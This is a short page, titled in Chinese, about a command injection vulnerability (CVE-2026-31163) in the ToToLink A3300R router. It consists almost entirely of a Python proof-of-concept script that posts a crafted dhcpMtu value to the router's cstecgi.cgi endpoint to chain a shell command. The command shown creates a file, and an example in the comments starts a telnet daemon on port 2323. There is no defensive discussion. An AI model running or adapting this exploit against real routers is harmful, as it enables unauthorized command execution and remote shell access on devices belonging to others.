CVE-2026-31163 ToToLink A3300R 命令注入漏洞

import requests # Target URL (Replace with actual IP of the router) target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Vulnerable parameter: dhcpMtu # Payload injection: Using semicolon to chain a simple command (e.g., creating a file or telnet) # Example: ;telnetd -p 2323& payload = "; touch /tmp/poc_success;" # Constructing the POST data # Note: Other parameters might be required depending on the specific form structure data = { "dhcpMtu": payload, "action": "0" # Example action value, may vary based on firmware logic } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending the malicious request response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text[:100]}") print("[+] Check if the command was executed on the target device.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")